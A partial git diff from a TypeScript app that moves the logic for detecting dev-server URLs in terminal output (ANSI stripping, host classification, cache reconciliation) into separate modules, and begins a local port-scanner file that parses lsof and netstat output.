+export type ListenerScanState = { kind: 'absent' } | { kind: 'present'; pid?: number }
+
+export function cacheKey(worktreeId: string, port: number): CacheKey {
+  return `${worktreeId}::${port}`
+}
+
+export function worktreeIdFromCacheKey(key: CacheKey, port: number): string {
+  const suffix = `::${port}`
+  return key.endsWith(suffix) ? key.slice(0, -suffix.length) : key
+}
+
+export class PtyBuffer {
+  private raw = ''
+
+  /** Append a chunk; return cleaned text up to the last newline. The tail stays buffered so a URL or ANSI sequence split across chunks survives. */
+  ingest(chunk: string): string {
+    const chunkHasLineBreak = chunk.includes('\n') || chunk.includes('\r')
+    // Keep the suffix directly so oversized chunks never materialize a throwaway full concatenation.
+    if (chunk.length >= PER_PTY_BUFFER_LIMIT) {
+      this.raw = chunk.slice(-PER_PTY_BUFFER_LIMIT)
+    } else if (this.raw.length + chunk.length > PER_PTY_BUFFER_LIMIT) {
+      this.raw = `${this.raw.slice(-(PER_PTY_BUFFER_LIMIT - chunk.length))}${chunk}`
+    } else {
+      this.raw += chunk
+    }
+    if (!chunkHasLineBreak) {
+      return ''
+    }
+    const lastNewline = lastLineBreak(this.raw)
+    if (lastNewline === -1) {
+      return ''
+    }
+    const finalized = this.raw.slice(0, lastNewline + 1)
+    this.raw = this.raw.slice(lastNewline + 1)
+    return mayContainHttpUrl(finalized) ? stripTerminalControls(finalized) : ''
+  }
+}
+
+function mayContainHttpUrl(text: string): boolean {
+  // Control stripping cannot create any character required by an HTTP scheme.
+  return (
+    (text.includes('h') || text.includes('H')) &&
+    (text.includes('t') || text.includes('T')) &&
+    (text.includes('p') || text.includes('P')) &&
+    text.includes(':') &&
+    text.includes('/')
+  )
+}
+
+function lastLineBreak(text: string): number {
+  // Accept either \n or \r as a finalize point (\r\n is normalized later in stripTerminalControls).
+  for (let i = text.length - 1; i >= 0; i--) {
+    const ch = text.charCodeAt(i)
+    if (ch === 0x0a || ch === 0x0d) {
+      return i
+    }
+  }
+  return -1
+}
+
+export function stripTerminalControls(text: string): string {
+  return text
+    .replace(/\r\n/g, '\n')
+    .replace(/\r/g, '\n')
+    .replace(OSC_PATTERN, '')
+    .replace(CURSOR_MOVE_PATTERN, CURSOR_MOVE_URL_GUARD)
+    .replace(CSI_PATTERN, '')
+    .replace(SINGLE_ESC_PATTERN, '')
+    .replace(CONTROL_PATTERN, '')
+}
+
+export function extractUrlCandidates(cleaned: string): URL[] {
+  const results: URL[] = []
+  for (const match of cleaned.matchAll(URL_CANDIDATE_PATTERN)) {
+    let candidate = match[0]
+    if (candidate.length > URL_CANDIDATE_LIMIT) {
+      continue
+    }
+    // Strip common trailing punctuation that cannot end a real URL.
+    while (candidate.length > 0 && /[.,;:!?)\]}>'"`]/.test(candidate.slice(-1))) {
+      candidate = candidate.slice(0, -1)
+    }
+    const url = parseUrl(candidate)
+    if (url) {
+      results.push(url)
+    }
+  }
+  return results
+}
+
+function parseUrl(candidate: string): URL | null {
+  try {
+    const url = new URL(candidate)
+    if (url.protocol !== 'http:' && url.protocol !== 'https:') {
+      return null
+    }
+    if (!url.hostname) {
+      return null
+    }
+    return url
+  } catch {
+    return null
+  }
+}
+
+export function classifyHost(hostname: string): HostKind {
+  // Why: strip IPv6 brackets so this public API accepts both "[::1]" (Node's form) and bare literals.
+  const lower = hostname.toLowerCase().replace(/^\[|\]$/g, '')
+  if (lower === 'localhost' || lower === '127.0.0.1' || lower === '::1') {
+    return 'loopback'
+  }
+  if (isIpv4(lower)) {
+    if (isPrivateIpv4(lower)) {
+      return 'private-ip'
+    }
+    return 'public-ip'
+  }
+  if (isIpv6(lower)) {
+    if (isPrivateIpv6(lower)) {
+      return 'private-ip'
+    }
+    return 'public-ip'
+  }
+  // Anything else is a DNS name — that's what we prefer for dev servers.
+  return 'custom'
+}
+
+function isIpv4(value: string): boolean {
+  const parts = value.split('.')
+  if (parts.length !== 4) {
+    return false
+  }
+  return parts.every((p) => /^\d{1,3}$/.test(p) && Number(p) <= 255)
+}
+
+function isPrivateIpv4(value: string): boolean {
+  const [a, b] = value.split('.').map((n) => Number(n))
+  // 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16 (link-local)
+  if (a === 10) {
+    return true
+  }
+  if (a === 172 && b >= 16 && b <= 31) {
+    return true
+  }
+  if (a === 192 && b === 168) {
+    return true
+  }
+  if (a === 169 && b === 254) {
+    return true
+  }
+  return false
+}
+
+export function isUnspecifiedHost(hostname: string): boolean {
+  const stripped = hostname.toLowerCase().replace(/^\[|\]$/g, '')
+  return stripped === '0.0.0.0' || stripped === '::' || stripped === '*'
+}
+
+function isIpv6(value: string): boolean {
+  // url.hostname for IPv6 returns lowercase without brackets — quick sniff.
+  return value.includes(':') && /^[0-9a-f:]+$/.test(value)
+}
+
+function isPrivateIpv6(value: string): boolean {
+  // fc00::/7 (ULA) and fe80::/10 (link-local)
+  if (value.startsWith('fc') || value.startsWith('fd')) {
+    return true
+  }
+  const firstHextet = Number.parseInt(value.split(':', 1)[0], 16)
+  return Number.isFinite(firstHextet) && (firstHextet & 0xffc0) === 0xfe80
+}
+
+function hostKindScore(kind: HostKind): number {
+  // Prefer custom DNS > loopback > private IP > public IP: loopback beats LAN for cert/cookie reasons on one machine.
+  switch (kind) {
+    case 'custom':
+      return 3
+    case 'loopback':
+      return 2
+    case 'private-ip':
+      return 1
+    case 'public-ip':
+      return 0
+  }
+}
+
+export function shouldReplace(existing: AdvertisedUrl, candidate: AdvertisedUrl): boolean {
+  const oldScore = hostKindScore(existing.hostKind)
+  const newScore = hostKindScore(candidate.hostKind)
+  if (newScore !== oldScore) {
+    return newScore > oldScore
+  }
+  if (existing.protocol !== candidate.protocol) {
+    return candidate.protocol === 'https'
+  }
+  return candidate.lastSeenAt >= existing.lastSeenAt
+}
+
+export function isDefaultPort(protocol: 'http' | 'https', port: number): boolean {
+  return (protocol === 'http' && port === 80) || (protocol === 'https' && port === 443)
+}
+
+export function formatHostForOrigin(url: URL): string {
+  // Why: some JS runtimes strip the IPv6 brackets Node adds; re-bracket a bare IPv6 literal.
+  const h = url.hostname
+  if (h.startsWith('[') && h.endsWith(']')) {
+    return h
+  }
+  if (h.includes(':')) {
+    return `[${h}]`
+  }
+  return h
+}
+
+export function observedListenersByPort(
+  observations: readonly AdvertisedUrlListenerObservation[]
+): Map<number, number | undefined> {
+  const observed = new Map<number, number | undefined>()
+  for (const observation of observations) {
+    const existing = observed.get(observation.port)
+    if (!observed.has(observation.port)) {
+      observed.set(observation.port, observation.pid)
+    } else if (existing !== observation.pid) {
+      // Multiple host-specific listeners on one port make PID attribution ambiguous; keep presence only.
+      observed.set(observation.port, undefined)
+    }
+  }
+  return observed
+}
+
+export function scanStateChanged(previous: ListenerScanState, current: ListenerScanState): boolean {
+  if (previous.kind !== current.kind) {
+    return true
+  }
+  if (previous.kind === 'absent' || current.kind === 'absent') {
+    return false
+  }
+  return previous.pid !== undefined && current.pid !== undefined && previous.pid !== current.pid
+}
+
+export function dedupeChangeEvents(
+  events: readonly AdvertisedUrlChangeEvent[]
+): AdvertisedUrlChangeEvent[] {
+  const seen = new Set<string>()
+  const deduped: AdvertisedUrlChangeEvent[] = []
+  for (const event of events) {
+    const key = cacheKey(event.worktreeId, event.port)
+    if (seen.has(key)) {
+      continue
+    }
+    seen.add(key)
+    deduped.push(event)
+  }
+  return deduped
+}
diff --git a/src/main/ports/advertised-url-reconciliation.ts b/src/main/ports/advertised-url-reconciliation.ts
new file mode 100644
index 00000000000..e5552b858f8
--- /dev/null
+++ b/src/main/ports/advertised-url-reconciliation.ts
@@ -0,0 +1,87 @@
+import {
+  cacheKey,
+  scanStateChanged,
+  shouldReplace,
+  type CacheKey,
+  type ListenerScanState
+} from './advertised-url-parsing'
+import type { AdvertisedUrl } from './advertised-url-watcher'
+
+export function shouldEvictAdvertisedUrlAfterScan(args: {
+  key: CacheKey
+  entry: AdvertisedUrl
+  current: ListenerScanState
+  validationBaselines: Map<CacheKey, ListenerScanState>
+  startupAbsentAllowances: Set<CacheKey>
+}): boolean {
+  const baseline = args.validationBaselines.get(args.key)
+  if (args.current.kind === 'absent') {
+    if (
+      args.entry.validatedListenerPid === undefined &&
+      baseline?.kind !== 'present' &&
+      args.startupAbsentAllowances.delete(args.key)
+    ) {
+      return false
+    }
+    return true
+  }
+  if (
+    args.entry.validatedListenerPid !== undefined &&
+    args.current.pid !== undefined &&
+    args.entry.validatedListenerPid !== args.current.pid
+  ) {
+    return true
+  }
+  if (baseline?.kind === 'absent') {
+    args.startupAbsentAllowances.delete(args.key)
+    return false
+  }
+  return (
+    args.entry.validatedListenerPid === undefined &&
+    baseline !== undefined &&
+    scanStateChanged(baseline, args.current)
+  )
+}
+
+export function lookupBestAdvertisedUrl(args: {
+  worktreeIds: readonly string[]
+  port: number
+  currentListenerPid?: number
+  cache: Map<CacheKey, AdvertisedUrl>
+  validationBaselines: Map<CacheKey, ListenerScanState>
+  startupAbsentAllowances: Set<CacheKey>
+  onEvict: (worktreeId: string) => void
+}): AdvertisedUrl | undefined {
+  let best: { worktreeId: string; entry: AdvertisedUrl } | undefined
+  for (const worktreeId of args.worktreeIds) {
+    const key = cacheKey(worktreeId, args.port)
+    const candidate = args.cache.get(key)
+    if (!candidate) {
+      continue
+    }
+    if (
+      args.currentListenerPid !== undefined &&
+      candidate.validatedListenerPid !== undefined &&
+      candidate.validatedListenerPid !== args.currentListenerPid
+    ) {
+      args.cache.delete(key)
+      args.validationBaselines.delete(key)
+      args.startupAbsentAllowances.delete(key)
+      args.onEvict(worktreeId)
+      continue
+    }
+    if (!best || shouldReplace(best.entry, candidate)) {
+      best = { worktreeId, entry: candidate }
+    }
+  }
+  if (
+    best &&
+    args.currentListenerPid !== undefined &&
+    best.entry.validatedListenerPid === undefined
+  ) {
+    best.entry.validatedListenerPid = args.currentListenerPid
+    args.validationBaselines.delete(cacheKey(best.worktreeId, args.port))
+    args.startupAbsentAllowances.delete(cacheKey(best.worktreeId, args.port))
+  }
+  return best?.entry
+}
diff --git a/src/main/ports/advertised-url-watcher.test.ts b/src/main/ports/advertised-url-watcher.test.ts
index 17fcc5803bb..5fe46ef181a 100644
--- a/src/main/ports/advertised-url-watcher.test.ts
+++ b/src/main/ports/advertised-url-watcher.test.ts
@@ -1,10 +1,6 @@
 import { describe, expect, it, vi } from 'vitest'
-import {
-  AdvertisedUrlWatcher,
-  classifyHost,
-  extractUrlCandidates,
-  stripTerminalControls
-} from './advertised-url-watcher'
+import { AdvertisedUrlWatcher } from './advertised-url-watcher'
+import { classifyHost, extractUrlCandidates, stripTerminalControls } from './advertised-url-parsing'
 
 const WORKTREE = 'repo::/repo'
 const PTY = 'pty-1'
diff --git a/src/main/ports/advertised-url-watcher.ts b/src/main/ports/advertised-url-watcher.ts
index 3f8ca60bcce..ebbbecdf25f 100644
--- a/src/main/ports/advertised-url-watcher.ts
+++ b/src/main/ports/advertised-url-watcher.ts
@@ -1,28 +1,25 @@
-/* eslint-disable no-control-regex, max-lines -- control-sequence regexes need raw matching; URL parsing, host classification, cache lifecycle, and cross-worktree lookup stay in one file to keep the rules in lockstep. */
 // Watches PTY output for HTTP(S) URLs dev servers print on startup, caching the
 // advertised origin per {worktreeId, port} for the ports panel (vs the kernel bind).
 // Why a separate stateful buffer per PTY: ANSI sequences and URLs can straddle PTY
 // write boundaries, so we accumulate raw bytes and strip-and-scan only at newlines.
-
-const PER_PTY_BUFFER_LIMIT = 4096
-const PENDING_PRE_BIND_LIMIT = 16 * 1024
-/** Cap on distinct never-bound PTY IDs; spawn-failure paths never bindPty, so without a bound they'd leak one entry each. */
-const MAX_PENDING_ENTRIES = 32
-const MAX_CACHE_ENTRIES = 256
-const URL_CANDIDATE_LIMIT = 2048
-
-// ANSI/OSC strippers mirror the runtime normalizer in src/main/runtime/orca-runtime.ts, plus URL-specific cursor-move handling to avoid fusing skipped text.
-const OSC_PATTERN = /\x1b\][^\x07\x1b]*(?:\x07|\x1b\\)/g
-// Why: cursor moves in differential redraws skip on-screen cells; a URL-invalid guard drops the damaged candidate.
-const CURSOR_MOVE_PATTERN = /\x1b\[[0-?]*[ -/]*[CDGHf]/g
-const CURSOR_MOVE_URL_GUARD = '['
-const CSI_PATTERN = /\x1b\[[0-?]*[ -/]*[@-~]/g
-const SINGLE_ESC_PATTERN = /\x1b[@-_]/g
-const CONTROL_PATTERN = /[\x00-\x08\x0b-\x1f\x7f]/g
-
-// Permissive matcher (real validation is `new URL()` below); stops at non-URL chars so terminal punctuation isn't absorbed.
-const URL_CANDIDATE_PATTERN = /\bhttps?:\/\/[^\s<>"'`]+/gi
-
+import {
+  MAX_CACHE_ENTRIES,
+  MAX_PENDING_ENTRIES,
+  PENDING_PRE_BIND_LIMIT,
+  PtyBuffer,
+  cacheKey,
+  dedupeChangeEvents,
+  extractUrlCandidates,
+  observedListenersByPort,
+  worktreeIdFromCacheKey,
+  type CacheKey,
+  type ListenerScanState
+} from './advertised-url-parsing'
+import { considerAdvertisedUrl } from './advertised-url-cache-update'
+import {
+  lookupBestAdvertisedUrl,
+  shouldEvictAdvertisedUrlAfterScan
+} from './advertised-url-reconciliation'
 export type HostKind = 'custom' | 'loopback' | 'private-ip' | 'public-ip'
 
 export type AdvertisedUrl = {
@@ -33,8 +30,6 @@ export type AdvertisedUrl = {
   port: number
   ptyId: string
   lastSeenAt: number
-  /** Listener PID this URL was validated against on a prior scan; a later mismatch evicts the entry.
-   *  Captured on first scan (not at capture time) because the PTY shell PID isn't the listener PID. */
   validatedListenerPid?: number
 }
 
@@ -48,209 +43,8 @@ export type AdvertisedUrlListenerObservation = {
   pid?: number
 }
 
-type CacheKey = string
-type ListenerScanState = { kind: 'absent' } | { kind: 'present'; pid?: number }
-
-function cacheKey(worktreeId: string, port: number): CacheKey {
-  return `${worktreeId}::${port}`
-}
-
-function worktreeIdFromCacheKey(key: CacheKey, port: number): string {
-  const suffix = `::${port}`
-  return key.endsWith(suffix) ? key.slice(0, -suffix.length) : key
-}
-
-class PtyBuffer {
-  private raw = ''
-
-  /** Append a chunk; return cleaned text up to the last newline. The tail stays buffered so a URL or ANSI sequence split across chunks survives. */
-  ingest(chunk: string): string {
-    const chunkHasLineBreak = chunk.includes('\n') || chunk.includes('\r')
-    // Keep the suffix directly so oversized chunks never materialize a throwaway full concatenation.
-    if (chunk.length >= PER_PTY_BUFFER_LIMIT) {
-      this.raw = chunk.slice(-PER_PTY_BUFFER_LIMIT)
-    } else if (this.raw.length + chunk.length > PER_PTY_BUFFER_LIMIT) {
-      this.raw = `${this.raw.slice(-(PER_PTY_BUFFER_LIMIT - chunk.length))}${chunk}`
-    } else {
-      this.raw += chunk
-    }
-    if (!chunkHasLineBreak) {
-      return ''
-    }
-    const lastNewline = lastLineBreak(this.raw)
-    if (lastNewline === -1) {
-      return ''
-    }
-    const finalized = this.raw.slice(0, lastNewline + 1)
-    this.raw = this.raw.slice(lastNewline + 1)
-    return mayContainHttpUrl(finalized) ? stripTerminalControls(finalized) : ''
-  }
-}
-
-function mayContainHttpUrl(text: string): boolean {
-  // Control stripping cannot create any character required by an HTTP scheme.
-  return (
-    (text.includes('h') || text.includes('H')) &&
-    (text.includes('t') || text.includes('T')) &&
-    (text.includes('p') || text.includes('P')) &&
-    text.includes(':') &&
-    text.includes('/')
-  )
-}
-
-function lastLineBreak(text: string): number {
-  // Accept either \n or \r as a finalize point (\r\n is normalized later in stripTerminalControls).
-  for (let i = text.length - 1; i >= 0; i--) {
-    const ch = text.charCodeAt(i)
-    if (ch === 0x0a || ch === 0x0d) {
-      return i
-    }
-  }
-  return -1
-}
-
-export function stripTerminalControls(text: string): string {
-  return text
-    .replace(/\r\n/g, '\n')
-    .replace(/\r/g, '\n')
-    .replace(OSC_PATTERN, '')
-    .replace(CURSOR_MOVE_PATTERN, CURSOR_MOVE_URL_GUARD)
-    .replace(CSI_PATTERN, '')
-    .replace(SINGLE_ESC_PATTERN, '')
-    .replace(CONTROL_PATTERN, '')
-}
-
-export function extractUrlCandidates(cleaned: string): URL[] {
-  const results: URL[] = []
-  for (const match of cleaned.matchAll(URL_CANDIDATE_PATTERN)) {
-    let candidate = match[0]
-    if (candidate.length > URL_CANDIDATE_LIMIT) {
-      continue
-    }
-    // Strip common trailing punctuation that cannot end a real URL.
-    while (candidate.length > 0 && /[.,;:!?)\]}>'"`]/.test(candidate.slice(-1))) {
-      candidate = candidate.slice(0, -1)
-    }
-    const url = parseUrl(candidate)
-    if (url) {
-      results.push(url)
-    }
-  }
-  return results
-}
-
-function parseUrl(candidate: string): URL | null {
-  try {
-    const url = new URL(candidate)
-    if (url.protocol !== 'http:' && url.protocol !== 'https:') {
-      return null
-    }
-    if (!url.hostname) {
-      return null
-    }
-    return url
-  } catch {
-    return null
-  }
-}
-
-export function classifyHost(hostname: string): HostKind {
-  // Why: strip IPv6 brackets so this public API accepts both "[::1]" (Node's form) and bare literals.
-  const lower = hostname.toLowerCase().replace(/^\[|\]$/g, '')
-  if (lower === 'localhost' || lower === '127.0.0.1' || lower === '::1') {
-    return 'loopback'
-  }
-  if (isIpv4(lower)) {
-    if (isPrivateIpv4(lower)) {
-      return 'private-ip'
-    }
-    return 'public-ip'
-  }
-  if (isIpv6(lower)) {
-    if (isPrivateIpv6(lower)) {
-      return 'private-ip'
-    }
-    return 'public-ip'
-  }
-  // Anything else is a DNS name — that's what we prefer for dev servers.
-  return 'custom'
-}
-
-function isIpv4(value: string): boolean {
-  const parts = value.split('.')
-  if (parts.length !== 4) {
-    return false
-  }
-  return parts.every((p) => /^\d{1,3}$/.test(p) && Number(p) <= 255)
-}
-
-function isPrivateIpv4(value: string): boolean {
-  const [a, b] = value.split('.').map((n) => Number(n))
-  // 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16 (link-local)
-  if (a === 10) {
-    return true
-  }
-  if (a === 172 && b >= 16 && b <= 31) {
-    return true
-  }
-  if (a === 192 && b === 168) {
-    return true
-  }
-  if (a === 169 && b === 254) {
-    return true
-  }
-  return false
-}
-
-function isUnspecifiedHost(hostname: string): boolean {
-  const stripped = hostname.toLowerCase().replace(/^\[|\]$/g, '')
-  return stripped === '0.0.0.0' || stripped === '::' || stripped === '*'
-}
-
-function isIpv6(value: string): boolean {
-  // url.hostname for IPv6 returns lowercase without brackets — quick sniff.
-  return value.includes(':') && /^[0-9a-f:]+$/.test(value)
-}
-
-function isPrivateIpv6(value: string): boolean {
-  // fc00::/7 (ULA) and fe80::/10 (link-local)
-  if (value.startsWith('fc') || value.startsWith('fd')) {
-    return true
-  }
-  const firstHextet = Number.parseInt(value.split(':', 1)[0], 16)
-  return Number.isFinite(firstHextet) && (firstHextet & 0xffc0) === 0xfe80
-}
-
-function hostKindScore(kind: HostKind): number {
-  // Prefer custom DNS > loopback > private IP > public IP: loopback beats LAN for cert/cookie reasons on one machine.
-  switch (kind) {
-    case 'custom':
-      return 3
-    case 'loopback':
-      return 2
-    case 'private-ip':
-      return 1
-    case 'public-ip':
-      return 0
-  }
-}
-
-function shouldReplace(existing: AdvertisedUrl, candidate: AdvertisedUrl): boolean {
-  const oldScore = hostKindScore(existing.hostKind)
-  const newScore = hostKindScore(candidate.hostKind)
-  if (newScore !== oldScore) {
-    return newScore > oldScore
-  }
-  if (existing.protocol !== candidate.protocol) {
-    return candidate.protocol === 'https'
-  }
-  return candidate.lastSeenAt >= existing.lastSeenAt
-}
-
 export type AdvertisedUrlWatcherOptions = {
-  /** Override the clock; useful for tests. */
   now?: () => number
-  /** Override the max cache entries (default 256). */
   maxCacheEntries?: number
 }
 
@@ -370,63 +164,23 @@ export class AdvertisedUrlWatcher {
     }
     const timestamp = now ?? this.now()
     for (const url of extractUrlCandidates(finalized)) {
-      this.consider(url, ptyId, worktreeId, timestamp)
-    }
-  }
-
-  private consider(url: URL, ptyId: string, worktreeId: string, timestamp: number): void {
-    const protocol = url.protocol === 'https:' ? 'https' : 'http'
-    const port = url.port ? Number(url.port) : protocol === 'https' ? 443 : 80
-    if (!Number.isFinite(port) || port <= 0 || port > 65535) {
-      return
-    }
-    const hostname = url.hostname
-    // Why: wildcard bind hosts (0.0.0.0, ::) can't be opened in a browser; keep the scanner's localhost default instead.
-    if (isUnspecifiedHost(hostname)) {
-      return
-    }
-    const hostKind = classifyHost(hostname)
-    // Why: store origin only (no path/query/fragment/userinfo) so an OAuth callback or token can't leak to the panel.
-    const origin = `${protocol}://${formatHostForOrigin(url)}${
-      isDefaultPort(protocol, port) ? '' : `:${port}`
-    }`
-    const candidate: AdvertisedUrl = {
-      origin,
-      host: hostname,
-      hostKind,
-      protocol,
-      port,
-      ptyId,
-      lastSeenAt: timestamp
-    }
-    const key = cacheKey(worktreeId, port)
-    const existing = this.cache.get(key)
-    if (!existing || shouldReplace(existing, candidate)) {
-      this.cache.set(key, candidate)
-      const baseline = this.currentScanStateFor(worktreeId, port)
-      if (baseline) {
-        this.validationBaselines.set(key, baseline)
-        if (baseline.kind === 'absent') {
-          // Why: the URL can arrive between the banner print and the scanner seeing the listener; allow one settling scan.
-          this.startupAbsentAllowances.add(key)
-        } else {
-          this.startupAbsentAllowances.delete(key)
-        }
-      } else {
-        this.validationBaselines.delete(key)
-        // Why: PTY output can arrive before any scan snapshot exists; grant the same one-scan absent allowance.
-        this.startupAbsentAllowances.add(key)
-      }
-      const changedEvents = this.enforceCacheLimit()
-      if (!existing || existing.origin !== candidate.origin) {
-        changedEvents.push({ worktreeId, port })
-      }
-      for (const event of dedupeChangeEvents(changedEvents)) {
+      const events = considerAdvertisedUrl({
+        url,
+        ptyId,
+        worktreeId,
+        timestamp,
+        cache: this.cache,
+        validationBaselines: this.validationBaselines,
+        startupAbsentAllowances: this.startupAbsentAllowances,
+        currentScanState: this.currentScanStateFor(
+          worktreeId,
+          url.port ? Number(url.port) : url.protocol === 'https:' ? 443 : 80
+        ),
+        maxCacheEntries: this.maxCacheEntries
+      })
+      for (const event of events) {
         this.emitChange(event)
       }
-    } else {
-      // Refresh recency on the existing entry so it isn't evicted by LRU.
-      existing.lastSeenAt = timestamp
     }
   }
 
@@ -440,26 +194,6 @@ export class AdvertisedUrlWatcher {
     }
   }
 
-  private enforceCacheLimit(): AdvertisedUrlChangeEvent[] {
-    if (this.cache.size <= this.maxCacheEntries) {
-      return []
-    }
-    // Drop oldest by lastSeenAt until we are back at the cap.
-    const entries = Array.from(this.cache.entries()).sort(
-      (a, b) => a[1].lastSeenAt - b[1].lastSeenAt
-    )
-    const overflow = this.cache.size - this.maxCacheEntries
-    const removedEvents: AdvertisedUrlChangeEvent[] = []
-    for (let i = 0; i < overflow; i++) {
-      const [key, entry] = entries[i]
-      this.cache.delete(key)
-      this.validationBaselines.delete(key)
-      this.startupAbsentAllowances.delete(key)
-      removedEvents.push({ worktreeId: worktreeIdFromCacheKey(key, entry.port), port: entry.port })
-    }
-    return removedEvents
-  }
-
   lookup(worktreeId: string, port: number, currentListenerPid?: number): AdvertisedUrl | undefined {
     const key = cacheKey(worktreeId, port)
     const entry = this.cache.get(key)
@@ -510,7 +244,15 @@ export class AdvertisedUrlWatcher {
         ? ({ kind: 'present', pid: observedByPort.get(entry.port) } as const)
         : ({ kind: 'absent' } as const)
 
-      if (this.shouldEvictAfterScan(key, entry, current)) {
+      if (
+        shouldEvictAdvertisedUrlAfterScan({
+          key,
+          entry,
+          current,
+          validationBaselines: this.validationBaselines,
+          startupAbsentAllowances: this.startupAbsentAllowances
+        })
+      ) {
         this.cache.delete(key)
         this.validationBaselines.delete(key)
         this.startupAbsentAllowances.delete(key)
@@ -528,41 +270,6 @@ export class AdvertisedUrlWatcher {
     }
   }
 
-  private shouldEvictAfterScan(
-    key: CacheKey,
-    entry: AdvertisedUrl,
-    current: ListenerScanState
-  ): boolean {
-    const baseline = this.validationBaselines.get(key)
-    if (current.kind === 'absent') {
-      if (
-        entry.validatedListenerPid === undefined &&
-        baseline?.kind !== 'present' &&
-        this.startupAbsentAllowances.delete(key)
-      ) {
-        return false
-      }
-      return true
-    }
-    if (
-      entry.validatedListenerPid !== undefined &&
-      current.pid !== undefined &&
-      entry.validatedListenerPid !== current.pid
-    ) {
-      return true
-    }
-    if (baseline?.kind === 'absent' && current.kind === 'present') {
-      this.startupAbsentAllowances.delete(key)
-      // Why: dev servers print their URL before the listener scan sees the port; let this first present scan validate it.
-      return false
-    }
-    return (
-      entry.validatedListenerPid === undefined &&
-      baseline !== undefined &&
-      scanStateChanged(baseline, current)
-    )
-  }
-
   /** Find the best advertised URL for `port` across worktrees, scored via `shouldReplace`.
    *  Scans all worktrees on the connection because an SSH port scanner reports ports for the
    *  whole connection, not per-worktree. With `currentListenerPid`, mismatched pinned entries
@@ -572,35 +279,15 @@ export class AdvertisedUrlWatcher {
     port: number,
     currentListenerPid?: number
   ): AdvertisedUrl | undefined {
-    let best: { worktreeId: string; entry: AdvertisedUrl } | undefined
-    for (const worktreeId of worktreeIds) {
-      const key = cacheKey(worktreeId, port)
-      const candidate = this.cache.get(key)
-      if (!candidate) {
-        continue
-      }
-      if (currentListenerPid !== undefined) {
-        if (
-          candidate.validatedListenerPid !== undefined &&
-          candidate.validatedListenerPid !== currentListenerPid
-        ) {
-          this.cache.delete(key)
-          this.validationBaselines.delete(key)
-          this.startupAbsentAllowances.delete(key)
-          this.emitChange({ worktreeId, port })
-          continue
-        }
-      }
-      if (!best || shouldReplace(best.entry, candidate)) {
-        best = { worktreeId, entry: candidate }
-      }
-    }
-    if (best && currentListenerPid !== undefined && best.entry.validatedListenerPid === undefined) {
-      best.entry.validatedListenerPid = currentListenerPid
-      this.validationBaselines.delete(cacheKey(best.worktreeId, port))
-      this.startupAbsentAllowances.delete(cacheKey(best.worktreeId, port))
-    }
-    return best?.entry
+    return lookupBestAdvertisedUrl({
+      worktreeIds,
+      port,
+      currentListenerPid,
+      cache: this.cache,
+      validationBaselines: this.validationBaselines,
+      startupAbsentAllowances: this.startupAbsentAllowances,
+      onEvict: (worktreeId) => this.emitChange({ worktreeId, port })
+    })
   }
 
   clear(): void {
@@ -622,63 +309,5 @@ export class AdvertisedUrlWatcher {
   }
 }
 
-function isDefaultPort(protocol: 'http' | 'https', port: number): boolean {
-  return (protocol === 'http' && port === 80) || (protocol === 'https' && port === 443)
-}
-
-/** Process-wide singleton fed by the runtime and read by scanner enrichment. Tests should instantiate their own instead. */
+/** Process-wide singleton fed by the runtime and read by scanner enrichment. */
 export const advertisedUrlWatcher = new AdvertisedUrlWatcher()
-
-function formatHostForOrigin(url: URL): string {
-  // Why: some JS runtimes strip the IPv6 brackets Node adds; re-bracket a bare IPv6 literal.
-  const h = url.hostname
-  if (h.startsWith('[') && h.endsWith(']')) {
-    return h
-  }
-  if (h.includes(':')) {
-    return `[${h}]`
-  }
-  return h
-}
-
-function observedListenersByPort(
-  observations: readonly AdvertisedUrlListenerObservation[]
-): Map<number, number | undefined> {
-  const observed = new Map<number, number | undefined>()
-  for (const observation of observations) {
-    const existing = observed.get(observation.port)
-    if (!observed.has(observation.port)) {
-      observed.set(observation.port, observation.pid)
-    } else if (existing !== observation.pid) {
-      // Multiple host-specific listeners on one port make PID attribution ambiguous; keep presence only.
-      observed.set(observation.port, undefined)
-    }
-  }
-  return observed
-}
-
-function scanStateChanged(previous: ListenerScanState, current: ListenerScanState): boolean {
-  if (previous.kind !== current.kind) {
-    return true
-  }
-  if (previous.kind === 'absent' || current.kind === 'absent') {
-    return false
-  }
-  return previous.pid !== undefined && current.pid !== undefined && previous.pid !== current.pid
-}
-
-function dedupeChangeEvents(
-  events: readonly AdvertisedUrlChangeEvent[]
-): AdvertisedUrlChangeEvent[] {
-  const seen = new Set<string>()
-  const deduped: AdvertisedUrlChangeEvent[] = []
-  for (const event of events) {
-    const key = cacheKey(event.worktreeId, event.port)
-    if (seen.has(key)) {
-      continue
-    }
-    seen.add(key)
-    deduped.push(event)
-  }
-  return deduped
-}
diff --git a/src/main/ports/local-workspace-platform-port-scanner.ts b/src/main/ports/local-workspace-platform-port-scanner.ts
new file mode 100644
index 00000000000..7e3b9941617
--- /dev/null
+++ b/src/main/ports/local-workspace-platform-port-scanner.ts
@@ -0,0 +1,322 @@
+import { readFile, readdir, readlink } from 'node:fs/promises'
+import { getProcessOutputFields } from '../../shared/process-output-field-scanner'
+import { readWindowsProcessTable } from '../windows/windows-process-table'
+import { runPortScanCommand } from './port-scan-command-client'
+import {
+  recallListenerMetadata,
+  rememberListenerMetadata,
+  shouldSkipMetadataCommands,
+  type PlatformListeningPortScan,
+  type ProcessMetadata,
+  type RawListeningPort,
+  type WorkspacePortScanOptions
+} from './local-workspace-port-scan-state'
+import {
+  dedupeRawPorts,
+  parseAddressWithPort,
+  parseProcAddress
+} from './local-workspace-port-address'
+
+export function parseLsofListeningOutput(output: string): RawListeningPort[] {
+  const ports: RawListeningPort[] = []
+  let currentPid: number | undefined
+  let currentProcessName: string | undefined
+
+  for (const line of output.split('\n')) {
+    if (!line) {
+      continue
+    }
+    const tag = line[0]
+    const value = line.slice(1)
+    if (tag === 'p') {
+      const pid = Number.parseInt(value, 10)
+      currentPid = Number.isFinite(pid) ? pid : undefined
+      currentProcessName = undefined
+    } else if (tag === 'c') {
+      currentProcessName = value
+    } else if (tag === 'n') {
+      const parsed = parseAddressWithPort(value)
+      if (parsed) {
+        ports.push({ pid: currentPid, processName: currentProcessName, ...parsed })
+      }
+    }
+  }
+
+  return dedupeRawPorts(ports)
+}
+
+export function parseNetstatListeningOutput(output: string): RawListeningPort[] {
+  const ports: RawListeningPort[] = []
+  for (const line of output.split('\n')) {
+    const fields = getProcessOutputFields(line, 6)
+    if (fields[0]?.toUpperCase() !== 'TCP') {
+      continue
+    }
